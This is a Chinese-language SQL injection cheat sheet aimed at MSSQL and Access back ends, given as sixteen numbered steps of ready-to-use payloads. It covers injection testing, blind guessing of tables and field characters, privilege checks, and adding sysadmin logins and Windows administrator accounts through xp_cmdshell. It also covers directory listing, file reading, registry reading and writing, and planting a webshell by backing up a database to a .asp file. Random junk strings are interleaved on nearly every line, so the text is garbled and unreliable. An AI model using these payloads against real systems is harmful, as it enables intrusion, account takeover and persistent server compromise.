1.判断是否有注入;and 1=1 ;and 1=2 t$yt8#Tk
2.初步判断是否是mssql ;and user>0 WEVV2BJ
5U5)$K'OA
3.注入参数是字符'and [查询条件] and ''=' ,a1
1&"xl
UYW{AG2C
4.搜索时没过滤参数的'and [查询条件] and '%25'=' ,s.{R
Weu%&u-
5.判断数据库系统 P@pJ^5Jf
bi 8Qbo4
;and (select count(*) from sysobjects)>0 mssql B9Y*'hmI
iZbY@-3fc
;and (select count(*) from msysobjects)>0 access ji:E
'vV|un(6
,oS<9kC68
@}B,l.Tj
6.猜数据库 ;and (select Count(*) from [数据库名])>0 lhRo+X#G
w=MiJr#3^
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 Q@HW`@i
U{%N.4:
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 wdzZ41y1
;;;{<GEQ
9.(1)猜字段的ascii值(access) -D-]tL6w
UxS@]YC
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 \yNe5
4(O;lVT}
(2)猜字段的ascii值(mssql) Z;4pI@u
->29Tns
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 L4?)N&V
C^W9=OH
10.测试权限结构(mssql) lX*IEAc
&hri4p/
uBXl ltU
*4oj '}
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- tH\ aHU[
;4]
s P^+
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- Fo86WP}
nL]-]n;
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- <~}#Q,9
nm.~~h+8M
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- ZN]LJ4|xu
Am&PH(}L
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- ?.%'[n>P
4EtP|
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- f+o%N
Pk6l*+"r<
;and 1=(select IS_MEMBER('db_owner'));-- Fs|aH-9\
lmjoSINy
@4%a
1O{x9a5Z?O
11.添加mssql和系统的帐户 7ga|4j3%
5^W},:3R
;exec master.dbo.sp_addlogin username;-- _Boe"
;exec master.dbo.sp_password null,username,password;-- Sy?O(BMo
+_h1JE_}D
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- qh<h|C]V
_xVtB1@kLM
;exec master.dbo.xp_cmdshell 'net user username password 1s@%q
<
/Q8glLnM
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- KNZN2N)wR
` e~nn
;exec master.dbo.xp_cmdshell 'net user username password /add';-- Mw,7+
`NNr]__
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- bw\a\/Dw
eJv_`#R&Of
Q\ AM]
U
Spt]<~
12.(1)遍历目录 =5QP'Qt{O
6JYVC>i
;create table dirs(paths varchar(100), id int) dLq)Z*r
l0%qj(4`6&
;insert dirs exec master.dbo.xp_dirtree 'c:\' N-g=_86C"
?h*Ngbj>
;and (select top 1 paths from dirs)>0 LQs>[3rK
&&\HE7*
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) O=Cz*j
|re>YQ!zd
?z]hYsy
-(Y( K!n
(2)遍历目录 ![OKmy
7Y>17=|
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ;[ag|YU$Y
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 #'<s/7;~
j$TTLFK1
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 9]DMHA@
L-}6}5[
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 x\r[Zp|
A_mVe\(*M
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 $aFCe}3b<
",hPy[k
\k69 S/O
+UGWTO\#ha
13.mssql中的存储过程 v[O }~E7'
fA k]]PU
xp_regenumvalues 注册表根键, 子键 XYM 5'
YgN:$+g5
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 scsN2#D7U/
I!L`W
_
xp_regread 根键,子键,键值名 _+vE(:T
jM'kY|<g;
;exec xp_regread Rz Os,
S-$N! G~!
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 :E>"z6H
HL^+:`,
xp_regwrite 根键,子键, 值名, 值类型, 值 $z>L $,c>
2;z~xR
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 E W{vF|
zP8a=Iv
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 nSM8o<)H
%rmn+L),;
xp_regdeletevalue 根键,子键,值名 U>,E]'
ka^sOC+Y
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 K9*vWoP'
^4\hZ
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 c8^M::NI
$@[`v0y*
w4m)lQM
<h*r
14.mssql的backup创建webshell xDU{I0M
zv^km5by
use model DhVF^=x$
R@+%~"Z
create table cmd(str image); gNsas:iGM
/ mM# nS
insert into cmd(str) values (''); nF Mc'm
d=q&%gqN
backup database model to disk='c:\l.asp'; \x,q(npHi
{c;][>l
r?w^#V
i1OF@~?
15.mssql内置函数 E=-ed9({:
KXQ &u{[<
;and (select @@version)>0 获得Windows的版本号 7j
]d{lD
+4N7 _Y
;and user_name()='dbo' 判断当前系统的连接用户是不是sa t8}R?%u
r\+0J`
;and (select user_name())>0 爆当前系统的连接用户 6dCS Gb
k`5jy~;
;and (select db_name())>0 得到当前连接的数据库 "x+o(jOy
:oYz=c
-/y]'_a
v `a:Lj
16.简洁的webshell biBo?k;4
8R) 0|v&;
use model _DlX F
_:B/XZ
create table cmd(str image); cILI%W1
A*$JF>`7
insert into cmd(str) values (''); j;GH|22
JBYmy_Su
backup database model to disk='g:\wwwtest\l.asp';